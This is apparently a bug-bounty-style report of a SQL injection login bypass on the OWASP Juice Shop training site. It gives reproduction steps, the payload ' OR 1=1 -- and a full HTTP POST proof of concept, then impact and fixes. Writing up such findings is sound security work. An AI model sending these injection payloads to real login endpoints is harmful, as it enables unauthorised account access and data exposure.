Bug Bounty Report – SQL Injection (Login Bypass)

1. Summary

A SQL injection vulnerability was discovered in the login functionality. The email field does not properly sanitize input, allowing an attacker to bypass authentication using the payload `' OR 1=1 --`.

2. Vulnerability Type

SQL Injection – Authentication Bypass

3. Affected Endpoint / URL

POST /rest/user/login

Target: https://juice-shop.herokuapp.com/admin#/payment/shop

4. Severity

High (Authentication Bypass)

5. Description

The login page fails to sanitize SQL inputs. Using Burp Suite, an attacker can intercept and modify the email parameter with a boolean-based SQL injection payload. This bypasses password validation and grants unauthorized access.

6. Steps to Reproduce (STR)

1. Visit the login page at https://juice-shop.herokuapp.com/#/login

2. Intercept HTTP request using Burp Suite

3. Enter any email and password and capture POST request

4. Replace the email field with: `' OR 1=1 --`

5. Forward the request

6. Login succeeds without valid credentials

7. Proof of Concept (PoC)

Payload used:

' OR 1=1 --

POST request:

POST /rest/user/login HTTP/1.1

Host: juice-shop.herokuapp.com

Content-Type: application/json

{"email":"' OR 1=1 --","password":"x"}

Result: User is logged in successfully without authentication.

8. Impact

- Full login bypass

- Access to any user account

- Possible administrative access

- Ability to modify system data

- Potential exposure of sensitive information

9. Recommended Fix

- Use prepared statements / parameterized queries

- Validate and sanitize all user input

- Block dangerous SQL characters

- Implement strict server-side email validation

- Apply WAF filtering rules

10. Additional Notes

Testing was limited to authentication bypass only. No further exploitation was performed to avoid system impact.